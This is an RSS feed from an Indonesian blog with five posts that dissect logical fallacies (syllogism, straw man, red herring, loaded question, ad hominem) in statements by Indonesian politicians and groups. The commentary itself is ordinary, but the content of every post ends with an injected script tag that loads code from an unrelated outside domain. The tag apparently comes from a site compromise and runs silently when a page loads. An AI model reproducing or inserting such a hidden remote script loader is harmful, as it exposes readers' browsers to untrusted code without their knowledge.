<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hermansaksono &#187; logical fallacy</title>
	<atom:link href="http://hermansaksono.com/tag/logical-fallacy/feed" rel="self" type="application/rss+xml" />
	<link>http://hermansaksono.com</link>
	<description>Patternless thoughts, pointless wisdom</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:15:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Silogisme Bambang Soesatyo</title>
		<link>http://hermansaksono.com/2010/06/silogisme-bambang-soesatyo.html</link>
		<comments>http://hermansaksono.com/2010/06/silogisme-bambang-soesatyo.html#comments</comments>
		<pubDate>Thu, 03 Jun 2010 03:58:49 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[logical fallacy]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1155</guid>
		<description><![CDATA[Orang menuduh anggota DPR Bambang Soesatryo provokatif, bodoh, dan menyebalkan. Bagi saya dia hanya orang yang logikanya tersesat.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/06/Picture-5.png"><img class="aligncenter size-medium wp-image-1156" title="Logika Bambang Soesatyo" src="http://hermansaksono.com/wp-content/uploads/2010/06/Picture-5-439x281.png" alt="" width="439" height="281" /></a></p>
<p>Tak lama setelah BamSat (Bambang Soesatyo) <a href="http://hermansaksono.com/2010/06/bambang-soesatyo-bilang-aburizal-bakrie-ngawur.html">membantah telah ditegur atasannya</a>, anggota DPR Fraksi Golkar ini melemparkan sanggahan lagi lewat <a href="http://twitter.com/bambangsoesatyo/status/15185141248">Twitter</a>:</p>
<blockquote><p>Logika saja: Kalau ada teguran, tentu tdk akan ada menteri yg terpaksa di dubeskan. Dan Golkar tdk akan gas pol utk membongkar Century.</p></blockquote>
<p>Setelah membaca &#8220;logika&#8221; ini, kita mungkin akan menuduh pernyataan BamSat provokatif, menyebalkan, bodoh, dsb. Pada kenyataannya, BamSat telah &#8220;menjebak&#8221; rakyat (yang semestinya dia wakili di DPR) dengan <a href="http://hermansaksono.com/tag/logical-fallacy">sesat logika</a> silogisme.</p>
<div class="sidebox">
<p><strong>Silogisme</strong> adalah kesimpulan yang ditarik dari dua pernyataan sebab-akibat. Bentuknya seperti ini:</p>
<blockquote><p>Jika A, maka B<br />
Jika B, maka C</p>
<p>Kesimpulan:<br />
Jika A maka C</p></blockquote>
</div>
<p>Untuk membuktikan bahwa BamSat telah &#8220;menjebak&#8221; rakyat, kita harus mengurai omongannya menjadi bagian-bagian yang lebih sederhana:</p>
<blockquote>
<ol>
<li>Jika ada teguran, maka Golkar tidak akan aktif membongkar Century.</li>
<li>Jika Golkar tidak aktif membongkar Century, maka SMI tidak terpaksa dikirim ke World Bank</li>
</ol>
<p><strong>Kesimpulan</strong>: Jika ada teguran, maka SMI tidak akan terpaksa dikirim ke World Bank.</p></blockquote>
<p>Di sini terlihat kalau BamSat &#8220;curang&#8221; dua kali.</p>
<p>Pertama, dia mengubah sebuah silogisme menjadi hubungan sebab-akibat biasa. Dan kedua, BamSat memakai <em>statement</em> yang tidak terbukti (<em>statement </em>ke-2). Tidak ada bukti kalau Sri Mulyani dikirim dan karena terpaksa. Dan karena <em>statement</em> kedua tidak terbukti, maka seluruh pernyataan Bambang Soesatyo tidak dapat diterima karena tidak logis.</p>
<p>Lucu juga sebetulnya, karena awalnya BamSat justru menantang kita untuk memakai logika.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/06/silogisme-bambang-soesatyo.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Boneka Jerami Bernama Neolib</title>
		<link>http://hermansaksono.com/2010/05/boneka-jerami-bernama-neolib.html</link>
		<comments>http://hermansaksono.com/2010/05/boneka-jerami-bernama-neolib.html#comments</comments>
		<pubDate>Wed, 12 May 2010 04:06:29 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[logical fallacy]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1125</guid>
		<description><![CDATA[Hari ini, setahun yang lalu, SBY mengumumkan Boediono sebagai pasangan wapresnya untuk Pilpres 2009. Esok hari, juga tepat setahun yang lalu, Boediono akan diserang dengan tudingan agen neolib. Setahun setelah neolib menjadi istilah yang jamak di perpolitikan, kita musti bertanya apakan diskusi selama ini dapat diterima oleh akal logika. Walaupun menelisik politikus secara kritis itu [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.therightscoop.com/aig-a-straw-man-with-an-agenda/"><img class="aligncenter size-medium wp-image-1126" title="Strawman Fallacy" src="http://hermansaksono.com/wp-content/uploads/2010/05/strawman-377x500.png" alt="" width="377" height="500" /></a></p>
<p>Hari ini, setahun yang lalu, SBY mengumumkan Boediono sebagai pasangan wapresnya untuk Pilpres 2009. Esok hari, juga tepat setahun yang lalu, Boediono akan diserang dengan tudingan agen neolib. Setahun setelah neolib menjadi istilah yang jamak di perpolitikan, kita musti bertanya apakan diskusi selama ini dapat diterima oleh akal logika.</p>
<p>Walaupun menelisik politikus secara kritis itu wajib, tetapi bersikap kritis membutuhkan logika akal yang runtun. Apa yang terjadi pada umumnya adalah lawan politik menempelkan label &#8220;neolib&#8221; ke Boediono, lalu menghajar neolib habis-habisan, tanpa benar-benar kritis melihat apakah Boediono mempraktikkan motif neolib.</p>
<p><a href="http://hermansaksono.com/tag/logical-fallacy">Sesat pikir</a> ini disebut dengan &#8220;<a href="http://en.wikipedia.org/wiki/Straw_man_fallacy">straw man fallacy</a>&#8220;, atau kesesatan boneka jerami. Modus operandinya adalah dengan membuat pernyataan boneka jerami (biasanya berupa sesuatu yang mirip atau terkait), lalu menyerang pernyataan tersebut. Karena boneka jerami itu lebih mudah dikalahkan maka tercipta ilusi bahwa lawan debat sudah terkalahkan.</p>
<p>Susunan serangan &#8220;boneka jerami&#8221; adalah berupa logika seperti ini:</p>
<blockquote>
<ol>
<li>Dinyatakan bahwa A adalah X</li>
<li>Jika sesuatu adalah X, maka buruk</li>
<li>Kesimpulan: A itu buruk</li>
</ol>
</blockquote>
<p>Kesesatan dimulai tepat pada loncatan logika dalam premis 1. Apakah benar A memang X? Jangan-jangan A bukan X. Tetapi fokus diskusi biasanya teralihkan pada premis 2 apakah X itu buruk atau baik. Karena mahzab ekonomi tidak pernah hitam putih, maka tercipta kesimpulan bahwa X adalah sesuatu yang kontroversial, dengan kata lain A adalah sesuatu yang kontroversial.</p>
<p>Padahal bisa juga kita lebih kritis melihat apakah kebijakan-kebijakan Boediono bermotifkan neoliberalisme. BLBI misalnya, apakah benar &#8220;bailout&#8221; BLBI sejalan dengan gagasan ekonomi liberal dimana negara mendorong ekonomi pasar bebas. Atau divestasi Indosat, apakah benar bermotifkan mendivestasi aset negara? Diskusi seperti ini relevan dan menyehatkan, tapi nyaris tidak terjadi. Mungkin karena para politikus tahu benar bahwa diskusi yang terlampau kompleks akhirnya tidak menarik perhatian masyarakat.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/boneka-jerami-bernama-neolib.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Terasi Serangan FPI</title>
		<link>http://hermansaksono.com/2008/06/terasi-serangan-fpi.html</link>
		<comments>http://hermansaksono.com/2008/06/terasi-serangan-fpi.html#comments</comments>
		<pubDate>Mon, 02 Jun 2008 00:38:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[logical fallacy]]></category>
		<category><![CDATA[Politik]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/06/terasi-serangan-fpi.html</guid>
		<description><![CDATA[Hari Minggu kemarin FPI menyerang massa AKKBB yang sedang menggelar aksi damai di Lapangan Monas. Akibat serangan ini, 12 orang dari AKKBB mengalami luka-luka. Menurut FPI, aksi tersebut harus dibubarkan karena mendukung Ahmadiyah yang telah dinyatakan sesat oleh Bakor Pakem. Di tempat terpisah, Komandan Laskar Islam Munarman menanggapi: Kenapa mereka mengadakan aksi untuk mendukung organisasi [...]]]></description>
			<content:encoded><![CDATA[<p><img class="right" src="http://img77.imageshack.us/img77/2289/81089797bt7.jpg" alt="FPI" />Hari Minggu kemarin FPI menyerang massa <abbr title="Aksi Kebangsaan untuk Kebebasan Beragama dan Berkeyakinan">AKKBB</abbr> yang sedang menggelar aksi damai di Lapangan Monas. Akibat serangan ini, 12 orang dari AKKBB mengalami luka-luka.</p>
<p>Menurut FPI, aksi tersebut harus dibubarkan<span class="textberita"> karena mendukung Ahmadiyah yang telah dinyatakan sesat oleh Bakor Pakem.</span> Di tempat terpisah, Komandan Laskar Islam Munarman menanggapi:</p>
<blockquote><p>Kenapa mereka mengadakan aksi untuk mendukung organisasi kriminal? AKKBB juga memasang iklan di koran untuk mendukung Ahmadiyah. Itu artinya mereka menantang kami lebih dulu. Jika tidak siap perang, jangan menantang.<br />
—Kompas</p></blockquote>
<p>Beginilah dinamika bernegara, memakai <span style="font-style: italic;">fallacy</span> demi <span style="font-style: italic;">fallacy</span> untuk mengamankan tindakan yang jelas-jelas salah. Kali ini fallacy dipakai adalah jenis red herring. Istilah red herring berasal dari ikan asap yang baunya menyengat sehingga dapat mengalihkan perhatian. Orang Indonesia punya terasi, jadi kita sebut saja ini fallacy/kesesatan jenis terasi.</p>
<p>Lalu terasi apa yang akan beredar  dalam 1-4 hari ke depan? Mungkin opini akan diarahkan ke isu Ahmadiyah yang bertentangan dengan keyakinan, sehingga layak dihajar.</p>
<p>Sebetulnya sah-sah saja kalau FPI merasa benar, menuding orang lain kafir, dan menuntut Ahmadiyah dibubarkan. Yang menjadi masalah adalah ketika FPI menggunakan tindakan kekerasan ala preman untuk mempertahankan pendiriannya. Bukankah premanisme inilah yang membuat masyarakat gusar dengan keberadaan FPI?<br />
<span class="textberita"> </span></p>
<div class="seealso">Foto pinjam Gettyimages</p>
<h4>Baca juga:</h4>
<ul>
<li><a href="http://www.kompas.com/read/xml/2008/06/01/16521199/fpi.beringas.10.anggota.akkbb.terluka.parah">FPI Beringas, 10 Anggota AKKBB Terluka Parah</a> @ Kompas</li>
<li><a href="http://www.detiknews.com/index.php/detik.read/tahun/2008/bulan/06/tgl/02/time/052502/idnews/948586/idkanal/10">Habib Rizieq Akan Jelaskan Penyerangan FPI di Monas</a> @ detik.com</li>
<li><a href="http://www.kompas.com/read/xml/2008/06/01/20051911/munarman.jika.tidak.siap.perang.jangan.menantang">Munarman: Jika Tidak Siap Perang, Jangan Menantang</a> @ Kompas</li>
<li><a href="http://jkt.detiknews.com/index.php/detik.read/tahun/2008/bulan/06/tgl/02/time/092837/idnews/948718/idkanal/10">4 Korban Amuk FPI Masih Dirawat, Oming Gegar Otak</a> @ detik.com</li>
<li><span class="judulberita"><a href="http://www.detiknews.com/indexfr.php?url=http://www.detiknews.com/index.php/detik.read/tahun/2008/bulan/06/tgl/02/time/161138/idnews/949062/idkanal/10">Foto Munarman Mencekik Orang Disebar AKK-BB</a> @ detik.com<img src="http://img220.imageshack.us/img220/8837/munarmanle8.jpg" alt="" /><br />
Munarman mencekik anak buahnya sendiri</p>
<p></span></li>
<li><span class="judulberita"><a href="http://bergerak.blogspot.com/2008/06/fpi-bringas-malah-dibela-x.html">FPI Beringas Malah Dibela</a> @ Bergerak</span></li>
<li><span class="judulberita"><a href="http://www.detiknews.com/index.php/detik.read/tahun/2008/bulan/06/tgl/03/time/115409/idnews/949548/idkanal/10">LBH Jakarta Dampingi Orang Yang nyaris Dicekik Munarman</a> @ detik.com<br />
</span></li>
<li><a href="http://www.kompas.com/read/xml/2008/06/03/11074260/munarman.tuntut.tempo.minta.maaf">Munarman Tuntut Tempo Minta Maaf</a> @ Kompas</li>
<li><a href="http://www.ranesi.nl/arsipaktua/indonesia060905/Laskar_fpi_munarman080602">Laskar FPI Umumkan Perang Melawan Ahmadiyah</a> @ ranesi.nl<br />
&#8220;Ya, kalau dia mengancam perang fisik, memangnya orang lain tidak punya kekuatan fisik? Memangnya hanya Hisbut Tahrir punya pasukan dua ratus ribu? Aliansi ini bisa mengerahkan banyak ribu orang. Kami tidak menggunakan itu karena kami ingin menegakkan hukum. Tapi kalau diserang dan mengajak perang, masa kita harus memberikan pipi kiri kami. Terasa sekali bahwa aparat hukum tidak berdaya. Kalau aparat hukum tidak bisa menjaga keamanan, masyarakat sendiri harus menjaga keamanannya. Dan nanti masing-masing orang mempersenjatai diri.&#8221;<br />
—Gunawan Muhammad</li>
</ul>
</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/06/terasi-serangan-fpi.html/feed</wfw:commentRss>
		<slash:comments>121</slash:comments>
		</item>
		<item>
		<title>Pertanyaan Jebakan</title>
		<link>http://hermansaksono.com/2008/03/pertanyaan-jebakan.html</link>
		<comments>http://hermansaksono.com/2008/03/pertanyaan-jebakan.html#comments</comments>
		<pubDate>Fri, 28 Mar 2008 02:13:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[logical fallacy]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/03/pertanyaan-jebakan.html</guid>
		<description><![CDATA[Dalam topik logical fallacy (logika yang menyesatkan) ke dua, saya akan membahas pernyataan Menkominfo RI, Muhammad Nuh: &#8220;Tolong berikan saya jawaban, bagaimana cara membangun bangsa ini dengan menyuburkan pornografi,&#8221; tegasnya. Sebuah pertanyaan yang membingungkan? Iya, karena sebetulnya itu adalah dua buah pertanyaan yang dijadikan satu: Apakah pornografi tidak membangun bangsa? Bagaimana cara membangun bangsa kalau [...]]]></description>
			<content:encoded><![CDATA[<p>Dalam topik <span style="font-style: italic;">logical fallacy</span> (logika yang menyesatkan) ke dua, saya akan membahas <a href="http://www.detikinet.com/index.php/detik.read/tahun/2008/bulan/03/tgl/26/time/133559/idnews/913593/idkanal/399/idpartner/">pernyataan</a> Menkominfo RI, Muhammad Nuh:<br />
<blockquote>&#8220;Tolong berikan saya jawaban, bagaimana cara membangun bangsa ini dengan menyuburkan pornografi,&#8221; tegasnya.</p></blockquote>
<p>Sebuah pertanyaan yang membingungkan? Iya, karena sebetulnya itu adalah dua buah pertanyaan yang dijadikan satu:
<ol>
<li><span style="font-weight: bold;"></span>Apakah pornografi tidak membangun bangsa?</li>
<li>Bagaimana cara membangun bangsa kalau pornografi subur?</li>
</ol>
<p><img src="http://img143.imageshack.us/img143/299/blade1bh0.jpg" class="left" alt="" />Sesat logika ini disebut <b><i>plurium interrogationum</i></b>. Atau pertanyaan jebakan/jamak, di mana premis kedua menjebak penjawab menyetujui premis pertama. Contoh lainnya:
<ul>
<li>&#8220;Kamu masih sering mbolos kuliah?&#8221;</li>
<li>&#8220;Kamu masih sering gonta-ganti pacar?&#8221;</li>
</ul>
<p>Jika pertanyaan tersebut dijawab, maka otomatis si penjawab menyetujui pernyataan pertama, yaitu sering membolos kuliah dan sering gonta-ganti pacar.</p>
<p>Pertanyaan pertama Nuh sebetulnya juga sesat logika, tepatnya <b><i>non causa pro causa</i></b>, atau sebab-akibat yang salah. Nuh bertanya apakah pornografi tidak membangun bangsa. Padahal, korelasi pornografi dengan pembangunan bangsa masih sangat diperdebatkan. Negara seperti Inggris, Perancis, Jepang, Cina, Singapura, dan Arab Saudi, misalnya; ada mengijinkan pornografi ada yang tidak, toh mereka tetap negara maju. Contoh lain sebab-akibat salah adalah:
<ul>
<li>&#8220;Harga sembako naik gara-gara reformasi.&#8221;</li>
</ul>
<p>Pernyataan Nuh juga mengandung sesat logika yang ketiga, yaitu <b><i>false dillema</i></b>, atau dilema sempit. Sesat model ini menyempitkan pilihan menjadi dua, walaupun pada kenyataannya ada pilihan. Dalam kasus ini, Nuh bahkan menyempitkan pilihan menjadi satu. Contoh false dilemma:
<ul>
<li>&#8220;Subsidi BBM harus dikurangi kalau tidak APBN kita jebol.&#8221;</li>
</ul>
<p>Mari cermati. Sesat <span style="font-style: italic;">false-dilemma</span> besutan Menkominfo ini dimulai dengan sesat <span style="font-style: italic;">non causa pro causa</span>. Sesat ini menjebak jawaban menjadi &#8216;tidak&#8217;, karena hubungan sebab akibat antara pornografi dan pembangunan tidaklah saklek ya-tidak.</p>
<p>Kemudian Nuh membungkus lagi pernyatannya dengan sesat <span style="font-style: italic;">plurium interrogationum</span>, sehingga pilihan jawaban cuma &#8216;tidak ada&#8217;, karena pernyataan pertama jawabannya &#8216;tidak&#8217;.</p>
<p><img src="http://img85.imageshack.us/img85/3962/blade2uf3.jpg" class="right" alt="" />Maka lengkaplah pertanyaan pendek Nuh, menjadi sesat combo 3.</p>
<p>Saya tidak terlalu menyalahkan ketika logika sesat dipakai orang awam. Walaupun menjerumuskan diskusi ke arah debat kusir, perlu tidaknya retorika dalam diskusi adalah isu abu-abu. Yang jelas, logika sesat sangat tabu dalam konteks akademik.</p>
<p>Tapi saya menyalahkan ketika logika sesat dilontarkan seorang Menteri RI yang juga mantan Rektor ITS, karena itu merusak komunikasi dan menutup diskusi. Mungkin beliau capek, atau khilaf. Tapi saya mengharap lebih.</p>
<p>
<div class="seealso">
<h4>Terkait:</h4>
<ul>
<li><a href="http://ryosaeba.wordpress.com/2008/03/27/bagaimana-cara-membangun-bangsa-ini/trackback/">bagaimana cara membangun bangsa ini</a> @ ryosaeba</li>
</ul>
</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/03/pertanyaan-jebakan.html/feed</wfw:commentRss>
		<slash:comments>37</slash:comments>
		</item>
		<item>
		<title>Kartu Ad Hominem</title>
		<link>http://hermansaksono.com/2008/03/kartu-ad-hominem.html</link>
		<comments>http://hermansaksono.com/2008/03/kartu-ad-hominem.html#comments</comments>
		<pubDate>Wed, 05 Mar 2008 05:50:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[logical fallacy]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/03/kartu-ad-hominem.html</guid>
		<description><![CDATA[Dalam lomba debat, peserta yang melontarkan argumen menyerang pribadi lawannya akan langsung mendapat Kartu Ad Hominem. Mirip seperti pebola yang mendapat kartu merah: untuk selanjutnya dia tidak diperkenankan meneruskan debat dan dinyatakan kalah. Kenapa begitu? Sebab, ad hominem adalah salah satu bentuk logical fallacy. Dan logical fallacy itu salah besar, karena bisa menjebak perdebatan konstruktif [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/R82HS6iTPtI/AAAAAAAAAic/-8j0T_ciAW4/s1600-h/AdHominem.jpg"><img id="BLOGGER_PHOTO_ID_5173940305939087058" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" src="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/R82HS6iTPtI/AAAAAAAAAic/-8j0T_ciAW4/s400/AdHominem.jpg" border="0" alt="" /></a><br />
Dalam lomba debat, peserta yang melontarkan argumen menyerang pribadi lawannya akan langsung mendapat Kartu Ad Hominem. Mirip seperti pebola yang mendapat kartu merah: untuk selanjutnya dia tidak diperkenankan meneruskan debat dan dinyatakan kalah.</p>
<p>Kenapa begitu? Sebab, <em>ad hominem</em> adalah salah satu bentuk <abbr title="kesalahan berpikir/berlogika"><em>logical fallacy</em></abbr>. Dan logical fallacy itu salah besar, karena bisa menjebak perdebatan konstruktif menjadi debat kusir penuh retorika. Dan yang paling penting, logical fallacy menghasilkan kesimpulan yang sesat karena tidak disusun dengan logika yang benar.</p>
<p>Logical fallacy jenis <em>ad hominem</em>—alias serangan pribadi— adalah argumen yang menyerang pribadi lawan debat, bukan argumennya. Parahnya, walaupun serangan pribadi itu salah, dia sukar dipatahkan. Parahnya lagi, ad hominem dapat dilontarkan sangat frontal, dan dapat juga dikemas sangat halus hingga tidak ada yang menyadarinya.</p>
<p>Contoh ad hominem yang lazim:</p>
<dl class="dialog">
<dt>Si A </dt>
<dd>FPI merazia hotel2 untuk memberantas perbuatan zinah!</dd>
<dt class="other">Si B </dt>
<dd class="other">FPI lagi? Dasar orang-orang <strong>munafik</strong>.</dd>
</dl>
<p>Salahnya cukup kentara kan? Argumen kedua mengolongkan FPI ke golongan munafik, sehingga perbuatan mereka jadi &#8216;nampak&#8217; salah. Padahal, terlepas seseorang itu munafik atau tidak, jika yang dia lakukan benar, maka dia benar. Lagipula kita kan meributkan sah tidaknya ormas merazia hotel dengan alasan moral, bukan FPI munafik atau tidak</p>
<p>Contoh lain adalah ketika Megawati mengkritik pemerintahan SBY yang seperti <a href="http://www.detiknews.com/index.php/detik.read/tahun/2008/bulan/01/tgl/31/time/163132/idnews/887162/idkanal/10">menari poco-poco</a>. Menganggapi komentar itu, juru bicara kepresidenan Andi Malaranggeng menjawab:</p>
<blockquote><p>&#8220;Itu bukan tari poco-poco &#8230; tapi saya senang juga dengan pengandaian Ibu Mega karena poco-poco tarian asli dari Sulawesi&#8221;</p></blockquote>
<p>Ini jawaban yang bener-bener bikin saya geli. Bukan karena tidak suka Mega, tapi karena tangkisan Andi yang begitu maut tanpa terlihat galak. Bagi saya ini sudah termasuk ad hominem, karena secara tidak langsung Andi merendahkan keseriusan kritik Megawati, sehingga Mega nampak konyol dan argumennya tidak sahih. Padahal, bisa jadi kan SBY dan tim-nya memang poco-poco?</p>
<p>Ada <a href="http://en.wikipedia.org/wiki/Ad_hominem">banyak contoh</a> ad hominem, tapi komen-komen di blog saya kayaknya juga ada beberapa, termasuk juga *mungkin* di postingan-postingannya blog ini. Semoga tidak. Amin.</p>
<p>Satu hal yang pasti, bangsa ini baru akan maju jika sudah terbiasa berdiskusi secara konstruktif, termasuk juga bebas dalam kesalahan berargumentasi.</p>
<p>Sampai ketemu di postingan lain soal logical fallacy, ya <a href="http://dinautami.com/?p=7">Bu</a>? <label><img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_bigsmile.gif' alt='&#58;&#68;' class='wp-smiley' width='18' height='18' title='&#58;&#68;' /></label><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/03/kartu-ad-hominem.html/feed</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>
